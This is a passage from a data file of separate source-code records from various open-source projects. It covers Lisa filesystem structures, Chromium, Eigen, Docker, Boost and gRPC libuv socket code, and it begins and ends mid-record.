  /// 0x68, unknown\n            public uint unknown3;\n            /// 0x6C, block the MDDF is residing on\n            public uint mddf_block;\n            /// 0x70, volsize-1\n            public uint volsize_minus_one;\n            /// 0x74, volsize-1-mddf_block\n            public uint volsize_minus_mddf_minus_one;\n            /// 0x78, Volume size in blocks\n            public uint vol_size;\n            /// 0x7C, Blocks size of underlying drive (data+tags)\n            public ushort blocksize;\n            /// 0x7E, Data only block size\n            public ushort datasize;\n            /// 0x80, unknown\n            public ushort unknown4;\n            /// 0x82, unknown\n            public uint unknown5;\n            /// 0x86, unknown\n            public uint unknown6;\n            /// 0x8A, Size in sectors of filesystem clusters\n            public ushort clustersize;\n            /// 0x8C, Filesystem size in blocks\n            public uint fs_size;\n            /// 0x90, unknown\n            public uint unknown7;\n            /// 0x94, Pointer to S-Records\n            public uint srec_ptr;\n            /// 0x98, unknown\n            public ushort unknown9;\n            /// 0x9A, S-Records length\n            public ushort srec_len;\n            /// 0x9C, unknown\n            public uint unknown10;\n            /// 0xA0, unknown\n            public uint unknown11;\n            /// 0xA4, unknown\n            public uint unknown12;\n            /// 0xA8, unknown\n            public uint unknown13;\n            /// 0xAC, unknown\n            public uint unknown14;\n            /// 0xB0, Files in volume\n            public ushort filecount;\n            /// 0xB2, unknown\n            public uint unknown15;\n            /// 0xB6, unknown\n            public uint unknown16;\n            /// 0xBA, Free blocks\n            public uint freecount;\n            /// 0xBE, unknown\n            public ushort unknown17;\n            /// 0xC0, unknown\n            public uint unknown18;\n            /// 0xC4, no idea\n            public ulong overmount_stamp;\n            /// 0xCC, serialization, lisa serial number authorized to use blocked software on this volume\n            public uint serialization;\n            /// 0xD0, unknown\n            public uint unknown19;\n            /// 0xD4, unknown, possible timestamp\n            public uint unknown_timestamp;\n            /// 0xD8, unknown\n            public uint unknown20;\n            /// 0xDC, unknown\n            public uint unknown21;\n            /// 0xE0, unknown\n            public uint unknown22;\n            /// 0xE4, unknown\n            public uint unknown23;\n            /// 0xE8, unknown\n            public uint unknown24;\n            /// 0xEC, unknown\n            public uint unknown25;\n            /// 0xF0, unknown\n            public uint unknown26;\n            /// 0xF4, unknown\n            public uint unknown27;\n            /// 0xF8, unknown\n            public uint unknown28;\n            /// 0xFC, unknown\n            public uint unknown29;\n            /// 0x100, unknown\n            public uint unknown30;\n            /// 0x104, unknown\n            public uint unknown31;\n            /// 0x108, unknown\n            public uint unknown32;\n            /// 0x10C, unknown\n            public uint unknown33;\n            /// 0x110, unknown\n            public uint unknown34;\n            /// 0x114, unknown\n            public uint unknown35;\n            /// 0x118, ID of volume where this volume was backed up\n            public ulong backup_volid;\n            /// 0x120, Size of LisaInfo label\n            public ushort label_size;\n            /// 0x122, not clear\n            public ushort fs_overhead;\n            /// 0x124, Return code of Scavenger\n            public ushort result_scavenge;\n            /// 0x126, No idea\n            public ushort boot_code;\n            /// 0x128, No idea\n            public ushort boot_environ;\n            /// 0x12A, unknown\n            public uint unknown36;\n            /// 0x12E, unknown\n            public uint unknown37;\n            /// 0x132, unknown\n            public uint unknown38;\n            /// 0x136, Total volumes in sequence\n            public ushort vol_sequence;\n            /// 0x138, Volume is dirty?\n            public byte vol_left_mounted;\n            /// Is password present? (On-disk position unknown)\n            public byte passwd_present;\n            /// Opened files (memory-only?) (On-disk position unknown)\n            public uint opencount;\n            /// No idea (On-disk position unknown)\n            public uint copy_thread;\n\n            // Flags are boolean, but Pascal seems to use them as full unsigned 8 bit values\n            /// No idea (On-disk position unknown)\n            public byte privileged;\n            /// Read-only volume (On-disk position unknown)\n            public byte write_protected;\n            /// Master disk (On-disk position unknown)\n            public byte master;\n            /// Copy disk (On-disk position unknown)\n            public byte copy;\n            /// No idea (On-disk position unknown)\n            public byte copy_flag;\n            /// No idea (On-disk position unknown)\n            public byte scavenge_flag;\n        }\n\n        /// \n        ///     An entry in the catalog from V3. The first entry is bigger than the rest, may be a header, I have not needed\n        ///     any of its values so I just ignored it. Each catalog is divided in 4-sector blocks, and if it needs more than a\n        ///     block there are previous and next block pointers, effectively making the V3 catalog a double-linked list. Garbage\n        ///     is not zeroed.\n        /// \n        struct CatalogEntry\n        {\n            /// 0x00, seems to be 0x24 when the entry is valid\n            public byte marker;\n            /// 0x01, parent directory ID for this file, 0 for root directory\n            public ushort parentID;\n            /// 0x03, filename, 32-bytes, null-padded\n            public byte[] filename;\n            /// 0x23, null-termination\n            public byte terminator;\n            /// \n            ///     At 0x24 0x01 here for subdirectories, entries 48 bytes long 0x03 here for entries 64 bytes long 0x08 here for\n            ///     entries 78 bytes long This is incomplete, may fail, mostly works...\n            /// \n            public byte fileType;\n            /// 0x25, lot of values found here, unknown\n            public byte unknown;\n            /// 0x26, file ID, must be positive and bigger than 4\n            public short fileID;\n            /// 0x28, creation date\n            public uint dtc;\n            /// 0x2C, last modification date\n            public uint dtm;\n            /// 0x30, file length in bytes\n            public int length;\n            /// 0x34, file length in bytes, including wasted block space\n            public int wasted;\n            /// 0x38, unknown\n            public byte[] tail;\n        }\n\n        /// An extent indicating a start and a run of sectors.\n        struct Extent\n        {\n            public int   start;\n            public short length;\n        }\n\n        /// \n        ///     The Extents File. There is one Extents File per each file stored on disk. The file ID present on the sectors\n        ///     tags for the Extents File is the negated value of the file ID it represents. e.g. file = 5 (0x0005) extents = -5\n        ///     (0xFFFB) It spans a single sector on V2 and V3 but 2 sectors on V1. It contains all information about a file, and\n        ///     is indexed in the S-Records file. It also contains the label. Garbage is zeroed.\n        /// \n        struct ExtentFile\n        {\n            /// 0x00, filename length\n            public byte filenameLen;\n            /// 0x01, filename\n            public byte[] filename;\n            /// 0x20, unknown\n            public ushort unknown1;\n            /// 0x22, 8 bytes\n            public ulong file_uid;\n            /// 0x2A, unknown\n            public byte unknown2;\n            /// 0x2B, entry type? gets modified\n            public byte etype;\n            /// 0x2C, file type\n            public FileType ftype;\n            /// 0x2D, unknown\n            public byte unknown3;\n            /// 0x2E, creation time\n            public uint dtc;\n            /// 0x32, last access time\n            public uint dta;\n            /// 0x36, modification time\n            public uint dtm;\n            /// 0x3A, backup time\n            public uint dtb;\n            /// 0x3E, scavenge time\n            public uint dts;\n            /// 0x42, machine serial number\n            public uint serial;\n            /// 0x46, unknown\n            public byte unknown4;\n            /// 0x47, locked file\n            public byte locked;\n            /// 0x48, protected file\n            public byte protect;\n            /// 0x49, master file\n            public byte master;\n            /// 0x4A, scavenged file\n            public byte scavenged;\n            /// 0x4B, file closed by os\n            public byte closed;\n            /// 0x4C, file left open\n            public byte open;\n            /// 0x4D, 11 bytes, unknown\n            public byte[] unknown5;\n            /// 0x58, Release number\n            public ushort release;\n            /// 0x5A, Build number\n            public ushort build;\n            /// 0x5C, Compatibility level\n            public ushort compatibility;\n            /// 0x5E, Revision level\n            public ushort revision;\n            /// 0x60, unknown\n            public ushort unknown6;\n            /// 0x62, 0x08 set if password is valid\n            public byte password_valid;\n            /// 0x63, 8 bytes, scrambled password\n            public byte[] password;\n            /// 0x6B, 3 bytes, unknown\n            public byte[] unknown7;\n            /// 0x6E, filesystem overhead\n            public ushort overhead;\n            /// 0x70, 16 bytes, unknown\n            public byte[] unknown8;\n            /// 0x80, 0x200 in v1, file length in blocks\n            public int length;\n            /// 0x84, 0x204 in v1, unknown\n            public int unknown9;\n            /// \n            ///     0x88, 0x208 in v1, extents, can contain up to 41 extents (85 in v1), dunno LisaOS maximum (never seen more\n            ///     than 3)\n            /// \n            public Extent[] extents;\n            /// 0x17E, unknown, empty, padding?\n            public short unknown10;\n            /// \n            ///     At 0x180, this is the label. While 1982 pre-release documentation says the label can be up to 448 bytes, v1\n            ///     onward only have space for a 128 bytes one. Any application can write whatever they want in the label, however,\n            ///     Lisa Office uses it to store its own information, something that will effectively overwrite any information a user\n            ///     application wrote there. The information written here by Lisa Office is like the information Finder writes in the\n            ///     FinderInfo structures, plus the non-unique name that is shown on the GUI. For this reason I called it LisaInfo. I\n            ///     have not tried to reverse engineer it.\n            /// \n            public byte[] LisaInfo;\n        }\n\n        /// \n        ///     The S-Records File is a hashtable of S-Records, where the hash is the file ID they belong to. The S-Records\n        ///     File cannot be fragmented or grown, and it can easily become full before the 32766 file IDs are exhausted. Each\n        ///     S-Record entry contains a block pointer to the Extents File that correspond to that file ID as well as the real\n        ///     file size, the only important information about a file that's not inside the Extents File. It also contains a low\n        ///     value (less than 0x200) variable field of unknown meaning and another one that seems to be flags, with values like\n        ///     0, 1, 3 and 5.\n        /// \n        struct SRecord\n        {\n            /// 0x00, block where ExtentsFile for this entry resides\n            public uint extent_ptr;\n            /// 0x04, unknown\n            public uint unknown;\n            /// 0x08, filesize in bytes\n            public uint filesize;\n            /// 0x0C, some kind of flags, meaning unknown\n            public ushort flags;\n        }\n\n        /// \n        ///     The catalog entry for the V1 and V2 volume formats. It merely contains the file name, type and ID, plus a few\n        ///     (mostly empty) unknown fields. Contrary to V3, it has no header and instead of being a double-linked list it is\n        ///     fragmented using an Extents File. The Extents File position for the root catalog is then stored in the S-Records\n        ///     File. Its entries are not filed sequentially denoting some kind of in-memory structure while at the same time\n        ///     forcing LisaOS to read the whole catalog. That or I missed the pointers. Empty entries just contain a 0-len\n        ///     filename. Garbage is not zeroed.\n        /// \n        struct CatalogEntryV2\n        {\n            /// 0x00, filename, 32-bytes, null-padded\n            public byte filenameLen;\n            /// 0x01, filename, 31-bytes\n            public byte[] filename;\n            /// 0x21, unknown\n            public byte unknown1;\n            /// 0x22, unknown\n            public byte fileType;\n            /// 0x23, unknown\n            public byte unknown2;\n            /// 0x24, unknown\n            public short fileID;\n            /// 0x26, 16 bytes, unknown\n            public byte[] unknown3;\n        }\n    }\n}"}
+{"text": "#ifndef _PRINTQOS_H_\n#define _PRINTQOS_H_\n\n#define SERVICETYPE_STR_LEN        256\n\n// QOS and FLOWSPEC print functions\nvoid  PrintQos(QOS *pqos);\nvoid  PrintFlowspec(FLOWSPEC *pflow, int indent);\nvoid  PrintProviderSpecific(WSABUF *provider, int indent);\nchar *GetServiceTypeStr(SERVICETYPE type);\n\n// Provider specific object functions\nvoid PrintRsvpStatus     (RSVP_STATUS_INFO *status, int indent);\nvoid PrintRsvpResv       (RSVP_RESERVE_INFO *reserve, int indent);\nvoid PrintRsvpAdspec     (RSVP_ADSPEC *adspec, int indent);\nvoid PrintRsvpPolicy     (RSVP_POLICY_INFO *policy, int indent);\n\nvoid PrintQosPriority    (QOS_PRIORITY *priority, int indent);\nvoid PrintQosSDMode      (QOS_SD_MODE *sd, int indent);\nvoid PrintQosTrafficClass(QOS_TRAFFIC_CLASS *traffic, int indent);\nvoid PrintQosDestAddr    (QOS_DESTADDR *dest, int indent);\n\nvoid PrintPolicy         (RSVP_POLICY *pelements, int num, int indent);\nvoid PrintAdGeneralParams(AD_GENERAL_PARAMS *params, int indent);\n\n\n#endif\n"}
+{"text": "// Copyright 2015 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef COMPONENTS_NACL_BROWSER_BAD_MESSAGE_H_\n#define COMPONENTS_NACL_BROWSER_BAD_MESSAGE_H_\n\nnamespace content {\nclass BrowserMessageFilter;\n}\n\nnamespace nacl {\nnamespace bad_message {\n\n// The browser process often chooses to terminate a renderer if it receives\n// a bad IPC message. The reasons are tracked for metrics.\n//\n// See also content/browser/bad_message.h.\n//\n// NOTE: Do not remove or reorder elements in this list. Add new entries at the\n// end. Items may be renamed but do not change the values. We rely on the enum\n// values in histograms.\nenum BadMessageReason {\n  NFH_OPEN_EXECUTABLE_BAD_ROUTING_ID = 0,\n  NHMF_LAUNCH_CONTINUATION_BAD_ROUTING_ID = 1,\n  NHMF_GET_NEXE_FD_BAD_URL = 2,\n\n  // Please add new elements here. The naming convention is abbreviated class\n  // name (e.g. NaclHostMessageFilter becomes NHMF) plus a unique description of\n  // the reason. After making changes, you MUST update histograms.xml by\n  // running:\n  // \"python tools/metrics/histograms/update_bad_message_reasons.py\"\n  BAD_MESSAGE_MAX\n};\n\n// Called when a browser message filter receives a bad IPC message from a\n// renderer or other child process. Logs the event, records a histogram metric\n// for the |reason|, and terminates the process for |filter|.\nvoid ReceivedBadMessage(content::BrowserMessageFilter* filter,\n                        BadMessageReason reason);\n\n}  // namespace bad_message\n}  // namespace nacl\n\n#endif  // COMPONENTS_NACL_BROWSER_BAD_MESSAGE_H_\n"}
+{"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2011 Gael Guennebaud \n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n\n// Various sanity tests with exceptions:\n//  - no memory leak when a custom scalar type trow an exceptions\n//  - todo: complete the list of tests!\n\n#define EIGEN_STACK_ALLOCATION_LIMIT 100000000\n\n#include \"main.h\"\n\nstruct my_exception\n{\n  my_exception() {}\n  ~my_exception() {}\n};\n    \nclass ScalarWithExceptions\n{\n  public:\n    ScalarWithExceptions() { init(); }\n    ScalarWithExceptions(const float& _v) { init(); *v = _v; }\n    ScalarWithExceptions(const ScalarWithExceptions& other) { init(); *v = *(other.v); }\n    ~ScalarWithExceptions() {\n      delete v;\n      instances--;\n    }\n\n    void init() {\n      v = new float;\n      instances++;\n    }\n\n    ScalarWithExceptions operator+(const ScalarWithExceptions& other) const\n    {\n      countdown--;\n      if(countdown<=0)\n        throw my_exception();\n      return ScalarWithExceptions(*v+*other.v);\n    }\n    \n    ScalarWithExceptions operator-(const ScalarWithExceptions& other) const\n    { return ScalarWithExceptions(*v-*other.v); }\n    \n    ScalarWithExceptions operator*(const ScalarWithExceptions& other) const\n    { return ScalarWithExceptions((*v)*(*other.v)); }\n    \n    ScalarWithExceptions& operator+=(const ScalarWithExceptions& other)\n    { *v+=*other.v; return *this; }\n    ScalarWithExceptions& operator-=(const ScalarWithExceptions& other)\n    { *v-=*other.v; return *this; }\n    ScalarWithExceptions& operator=(const ScalarWithExceptions& other)\n    { *v = *(other.v); return *this; }\n  \n    bool operator==(const ScalarWithExceptions& other) const\n    { return *v==*other.v; }\n    bool operator!=(const ScalarWithExceptions& other) const\n    { return *v!=*other.v; }\n    \n    float* v;\n    static int instances;\n    static int countdown;\n};\n\nScalarWithExceptions real(const ScalarWithExceptions &x) { return x; }\nScalarWithExceptions imag(const ScalarWithExceptions & ) { return 0; }\nScalarWithExceptions conj(const ScalarWithExceptions &x) { return x; }\n\nint ScalarWithExceptions::instances = 0;\nint ScalarWithExceptions::countdown = 0;\n\n\n#define CHECK_MEMLEAK(OP) {                                 \\\n    ScalarWithExceptions::countdown = 100;                  \\\n    int before = ScalarWithExceptions::instances;           \\\n    bool exception_thrown = false;                         \\\n    try { OP; }                              \\\n    catch (my_exception) {                                  \\\n      exception_thrown = true;                              \\\n      VERIFY(ScalarWithExceptions::instances==before && \"memory leak detected in \" && EIGEN_MAKESTRING(OP)); \\\n    } \\\n    VERIFY(exception_thrown && \" no exception thrown in \" && EIGEN_MAKESTRING(OP)); \\\n  }\n\nvoid memoryleak()\n{\n  typedef Eigen::Matrix VectorType;\n  typedef Eigen::Matrix MatrixType;\n  \n  {\n    int n = 50;\n    VectorType v0(n), v1(n);\n    MatrixType m0(n,n), m1(n,n), m2(n,n);\n    v0.setOnes(); v1.setOnes();\n    m0.setOnes(); m1.setOnes(); m2.setOnes();\n    CHECK_MEMLEAK(v0 = m0 * m1 * v1);\n    CHECK_MEMLEAK(m2 = m0 * m1 * m2);\n    CHECK_MEMLEAK((v0+v1).dot(v0+v1));\n  }\n  VERIFY(ScalarWithExceptions::instances==0 && \"global memory leak detected in \" && EIGEN_MAKESTRING(OP)); \\\n}\n\nvoid test_exceptions()\n{\n  CALL_SUBTEST( memoryleak() );\n}\n"}
+{"text": "package system // import \"github.com/docker/docker/pkg/system\"\n\nimport (\n\t\"os\"\n\t\"time\"\n)\n\n// Chtimes changes the access time and modified time of a file at the given path\nfunc Chtimes(name string, atime time.Time, mtime time.Time) error {\n\tunixMinTime := time.Unix(0, 0)\n\tunixMaxTime := maxTime\n\n\t// If the modified time is prior to the Unix Epoch, or after the\n\t// end of Unix Time, os.Chtimes has undefined behavior\n\t// default to Unix Epoch in this case, just in case\n\n\tif atime.Before(unixMinTime) || atime.After(unixMaxTime) {\n\t\tatime = unixMinTime\n\t}\n\n\tif mtime.Before(unixMinTime) || mtime.After(unixMaxTime) {\n\t\tmtime = unixMinTime\n\t}\n\n\tif err := os.Chtimes(name, atime, mtime); err != nil {\n\t\treturn err\n\t}\n\n\t// Take platform specific action for setting create time.\n\treturn setCTime(name, mtime)\n}\n"}
+{"text": "class AddUserIdToConversations < ActiveRecord::Migration\n  def change\n    add_column :conversations, :user_id, :uuid\n    add_index :conversations, :user_id\n  end\nend\n"}
+{"text": "\n\n\n    Phaser Spine Example\n\n    \n    \n\n    \n\n\n\n\n\n"}
+{"text": "var html = require('choo/html')\n\nmodule.exports = NotFound\n\nfunction NotFound (state, emit) {\n  // load docs\n  if (!state.docs.loaded) {\n    emit(state.events.DOCS_LOAD)\n    return ''\n  }\n\n  var page = state.docs.content['/'] || { }\n\n  return html`\n    
      \n      
      ${page.title}
      \n      ${page.text}\n    
      \n  `\n}\n"}
+{"text": "\n// NO INCLUDE GUARDS, THE HEADER IS INTENDED FOR MULTIPLE INCLUSION\n\n#if defined(BOOST_PP_IS_ITERATING)\n\n// Copyright Aleksey Gurtovoy 2000-2004\n//\n// Distributed under the Boost Software License, Version 1.0. \n// (See accompanying file LICENSE_1_0.txt or copy at \n// http://www.boost.org/LICENSE_1_0.txt)\n//\n// See http://www.boost.org/libs/mpl for documentation.\n\n// $Id$\n// $Date$\n// $Revision$\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#define i_ BOOST_PP_FRAME_ITERATION(1)\n\n#if defined(BOOST_MPL_CFG_TYPEOF_BASED_SEQUENCES)\n\n#   define AUX778076_VECTOR_TAIL(vector, i_, T) \\\n    BOOST_PP_CAT(vector,i_)< \\\n          BOOST_PP_ENUM_PARAMS(i_, T) \\\n        > \\\n    /**/\n\n#if i_ > 0\ntemplate<\n      BOOST_PP_ENUM_PARAMS(i_, typename T)\n    >\nstruct BOOST_PP_CAT(vector,i_)\n    : v_item<\n          BOOST_PP_CAT(T,BOOST_PP_DEC(i_))\n        , AUX778076_VECTOR_TAIL(vector,BOOST_PP_DEC(i_),T)\n        >\n{\n    typedef BOOST_PP_CAT(vector,i_) type;\n};\n#endif\n\n#   undef AUX778076_VECTOR_TAIL\n\n#else // \"brute force\" implementation\n\n#   if i_ > 0\n\ntemplate<\n      BOOST_PP_ENUM_PARAMS(i_, typename T)\n    >\nstruct BOOST_PP_CAT(vector,i_)\n{\n    typedef aux::vector_tag tag;\n    typedef BOOST_PP_CAT(vector,i_) type;\n\n#   define AUX778076_VECTOR_ITEM(unused, i_, unused2) \\\n    typedef BOOST_PP_CAT(T,i_) BOOST_PP_CAT(item,i_); \\\n    /**/\n\n    BOOST_PP_REPEAT(i_, AUX778076_VECTOR_ITEM, unused)\n#   undef AUX778076_VECTOR_ITEM\n    typedef void_ BOOST_PP_CAT(item,i_);\n    typedef BOOST_PP_CAT(T,BOOST_PP_DEC(i_)) back;\n\n    // Borland forces us to use 'type' here (instead of the class name)\n    typedef v_iter begin;\n    typedef v_iter end;\n};\n\ntemplate<>\nstruct push_front_impl< aux::vector_tag >\n{\n    template< typename Vector, typename T > struct apply\n    {\n        typedef BOOST_PP_CAT(vector,i_)<\n              T\n              BOOST_PP_COMMA_IF(BOOST_PP_DEC(i_))\n              BOOST_PP_ENUM_PARAMS(BOOST_PP_DEC(i_), typename Vector::item)\n            > type;\n    };\n};\n\ntemplate<>\nstruct pop_front_impl< aux::vector_tag >\n{\n    template< typename Vector > struct apply\n    {\n        typedef BOOST_PP_CAT(vector,BOOST_PP_DEC(i_))<\n              BOOST_PP_ENUM_SHIFTED_PARAMS(i_, typename Vector::item)\n            > type;\n    };\n};\n\n\ntemplate<>\nstruct push_back_impl< aux::vector_tag >\n{\n    template< typename Vector, typename T > struct apply\n    {\n        typedef BOOST_PP_CAT(vector,i_)<\n              BOOST_PP_ENUM_PARAMS(BOOST_PP_DEC(i_), typename Vector::item)\n              BOOST_PP_COMMA_IF(BOOST_PP_DEC(i_))\n              T\n            > type;\n    };\n};\n\ntemplate<>\nstruct pop_back_impl< aux::vector_tag >\n{\n    template< typename Vector > struct apply\n    {\n        typedef BOOST_PP_CAT(vector,BOOST_PP_DEC(i_))<\n              BOOST_PP_ENUM_PARAMS(BOOST_PP_DEC(i_), typename Vector::item)\n            > type;\n    };\n};\n\n#   endif // i_ > 0\n\n#   if !defined(BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION) \\\n    && !defined(BOOST_MPL_CFG_NO_NONTYPE_TEMPLATE_PARTIAL_SPEC)\n\ntemplate< typename V >\nstruct v_at\n{\n    typedef typename V::BOOST_PP_CAT(item,i_) type;\n};\n\n#   else\n\nnamespace aux {\ntemplate<> struct v_at_impl\n{\n    template< typename V_ > struct result_\n    {\n        typedef typename V_::BOOST_PP_CAT(item,i_) type;\n    };\n};\n}\n\ntemplate<>\nstruct at_impl< aux::vector_tag >\n{\n    template< typename V_, typename N > struct apply\n    {\n        typedef typename aux::v_at_impl\n            ::template result_::type type;\n    };\n};\n\n#if i_ > 0\ntemplate<>\nstruct front_impl< aux::vector_tag >\n{\n    template< typename Vector > struct apply\n    {\n        typedef typename Vector::item0 type;\n    };\n};\n\ntemplate<>\nstruct back_impl< aux::vector_tag >\n{\n    template< typename Vector > struct apply\n    {\n        typedef typename Vector::back type;\n    };\n};\n\ntemplate<>\nstruct empty_impl< aux::vector_tag >\n{\n    template< typename Vector > struct apply\n        : false_\n    {\n    };\n};\n#endif\n\ntemplate<>\nstruct size_impl< aux::vector_tag >\n{\n    template< typename Vector > struct apply\n        : long_\n    {\n    };\n};\n\ntemplate<>\nstruct O1_size_impl< aux::vector_tag >\n    : size_impl< aux::vector_tag >\n{\n};\n\ntemplate<>\nstruct clear_impl< aux::vector_tag >\n{\n    template< typename Vector > struct apply\n    {\n        typedef vector0<> type;\n    };\n};\n\n#   endif // BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION\n\n#endif // BOOST_MPL_CFG_TYPEOF_BASED_SEQUENCES\n\n#undef i_\n\n#endif // BOOST_PP_IS_ITERATING\n"}
+{"text": "re.scene('home')\n.enter(function(){\n  \n  re.scene('play').enter('level1');\n  \n})\n.exit(function(){\n  \n  \n});"}
+{"text": "// Copyright (c) Microsoft. All rights reserved.\n// Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\nnamespace Microsoft.Azure.ServiceBus\n{\n    /// \n    /// Specifies the behavior of the receiver.\n    /// \n    public enum ReceiveMode\n    {\n        /// Allows a message to be received, and only deleted from Service Bus when  is called.\n        /// This is the default value for , and should be used for guaranteed delivery.\n        PeekLock,\n\n        /// ReceiveAndDelete will delete the message from Service Bus as soon as the message is delivered.\n        ReceiveAndDelete\n    }\n}"}
+{"text": "namespace Raven.Server.ServerWide.Memory\r\n{\r\n    public class ProcessMemoryUsage\r\n    {\r\n        public ProcessMemoryUsage(long workingSet, long privateMemory)\r\n        {\r\n            WorkingSet = workingSet;\r\n            PrivateMemory = privateMemory;\r\n        }\r\n\r\n        public readonly long WorkingSet;\r\n\r\n        public readonly long PrivateMemory;\r\n    }\r\n}"}
+{"text": "/*\n *\n * Copyright 2016 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n#include \n\n#include \"src/core/lib/iomgr/port.h\"\n\n#ifdef GRPC_UV\n#include \n#include \n\n#include \n\n#include \n#include \n#include \n\n#include \"src/core/lib/gpr/string.h\"\n#include \"src/core/lib/iomgr/error.h\"\n#include \"src/core/lib/iomgr/iomgr_custom.h\"\n#include \"src/core/lib/iomgr/resolve_address_custom.h\"\n#include \"src/core/lib/iomgr/resource_quota.h\"\n#include \"src/core/lib/iomgr/tcp_custom.h\"\n#include \"src/core/lib/slice/slice_internal.h\"\n#include \"src/core/lib/slice/slice_string_helpers.h\"\n\n#include \n\n#define IGNORE_CONST(addr) ((grpc_sockaddr*)(uintptr_t)(addr))\n\ntypedef struct uv_socket_t {\n  uv_connect_t connect_req;\n  uv_write_t write_req;\n  uv_shutdown_t shutdown_req;\n  uv_tcp_t* handle;\n  uv_buf_t* write_buffers;\n\n  char* read_buf;\n  size_t read_len;\n\n  int pending_connections;\n  grpc_custom_socket* accept_socket;\n  grpc_error* accept_error;\n\n  grpc_custom_connect_callback connect_cb;\n  grpc_custom_write_callback write_cb;\n  grpc_custom_read_callback read_cb;\n  grpc_custom_accept_callback accept_cb;\n  grpc_custom_close_callback close_cb;\n\n} uv_socket_t;\n\nstatic grpc_error* tcp_error_create(const char* desc, int status) {\n  if (status == 0) {\n    return GRPC_ERROR_NONE;\n  }\n  grpc_error* error = GRPC_ERROR_CREATE_FROM_STATIC_STRING(desc);\n  /* All tcp errors are marked with UNAVAILABLE so that application may\n   * choose to retry. */\n  error = grpc_error_set_int(error, GRPC_ERROR_INT_GRPC_STATUS,\n                             GRPC_STATUS_UNAVAILABLE);\n  return grpc_error_set_str(error, GRPC_ERROR_STR_OS_ERROR,\n                            grpc_slice_from_static_string(uv_strerror(status)));\n}\n\nstatic void uv_socket_destroy(grpc_custom_socket* socket) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  gpr_free(uv_socket->handle);\n  gpr_free(uv_socket);\n}\n\nstatic void alloc_uv_buf(uv_handle_t* handle, size_t suggested_size,\n                         uv_buf_t* buf) {\n  uv_socket_t* uv_socket =\n      (uv_socket_t*)((grpc_custom_socket*)handle->data)->impl;\n  (void)suggested_size;\n  buf->base = uv_socket->read_buf;\n  buf->len = uv_socket->read_len;\n}\n\nstatic void uv_read_callback(uv_stream_t* stream, ssize_t nread,\n                             const uv_buf_t* buf) {\n  grpc_error* error = GRPC_ERROR_NONE;\n  if (nread == 0) {\n    // Nothing happened. Wait for the next callback\n    return;\n  }\n  // TODO(murgatroid99): figure out what the return value here means\n  uv_read_stop(stream);\n  if (nread == UV_EOF) {\n    error = GRPC_ERROR_CREATE_FROM_STATIC_STRING(\"EOF\");\n  } else if (nread < 0) {\n    error = tcp_error_create(\"TCP Read failed\", nread);\n  }\n  grpc_custom_socket* socket = (grpc_custom_socket*)stream->data;\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  uv_socket->read_cb(socket, (size_t)nread, error);\n}\n\nstatic void uv_close_callback(uv_handle_t* handle) {\n  grpc_custom_socket* socket = (grpc_custom_socket*)handle->data;\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  if (uv_socket->accept_socket) {\n    uv_socket->accept_cb(socket, uv_socket->accept_socket,\n                         GRPC_ERROR_CREATE_FROM_STATIC_STRING(\"socket closed\"));\n  }\n  uv_socket->close_cb(socket);\n}\n\nstatic void uv_socket_read(grpc_custom_socket* socket, char* buffer,\n                           size_t length, grpc_custom_read_callback read_cb) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  int status;\n  grpc_error* error;\n  uv_socket->read_cb = read_cb;\n  uv_socket->read_buf = buffer;\n  uv_socket->read_len = length;\n  // TODO(murgatroid99): figure out what the return value here means\n  status =\n      uv_read_start((uv_stream_t*)uv_socket->handle, (uv_alloc_cb)alloc_uv_buf,\n                    (uv_read_cb)uv_read_callback);\n  if (status != 0) {\n    error = tcp_error_create(\"TCP Read failed at start\", status);\n    uv_socket->read_cb(socket, 0, error);\n  }\n}\n\nstatic void uv_write_callback(uv_write_t* req, int status) {\n  grpc_custom_socket* socket = (grpc_custom_socket*)req->data;\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  gpr_free(uv_socket->write_buffers);\n  uv_socket->write_cb(socket, tcp_error_create(\"TCP Write failed\", status));\n}\n\nvoid uv_socket_write(grpc_custom_socket* socket,\n                     grpc_slice_buffer* write_slices,\n                     grpc_custom_write_callback write_cb) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  uv_socket->write_cb = write_cb;\n  uv_buf_t* uv_buffers;\n  uv_write_t* write_req;\n\n  uv_buffers = (uv_buf_t*)gpr_malloc(sizeof(uv_buf_t) * write_slices->count);\n  for (size_t i = 0; i < write_slices->count; i++) {\n    uv_buffers[i].base = (char*)GRPC_SLICE_START_PTR(write_slices->slices[i]);\n    uv_buffers[i].len = GRPC_SLICE_LENGTH(write_slices->slices[i]);\n  }\n\n  uv_socket->write_buffers = uv_buffers;\n  write_req = &uv_socket->write_req;\n  write_req->data = socket;\n  // TODO(murgatroid99): figure out what the return value here means\n  uv_write(write_req, (uv_stream_t*)uv_socket->handle, uv_buffers,\n           write_slices->count, uv_write_callback);\n}\n\nstatic void shutdown_callback(uv_shutdown_t* req, int status) {}\n\nstatic void uv_socket_shutdown(grpc_custom_socket* socket) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  uv_shutdown_t* req = &uv_socket->shutdown_req;\n  uv_shutdown(req, (uv_stream_t*)uv_socket->handle, shutdown_callback);\n}\n\nstatic void uv_socket_close(grpc_custom_socket* socket,\n                            grpc_custom_close_callback close_cb) {\n  uv_socket_t* uv_socket = (uv_socket_t*)socket->impl;\n  uv_socket->close_cb = close_cb;\n  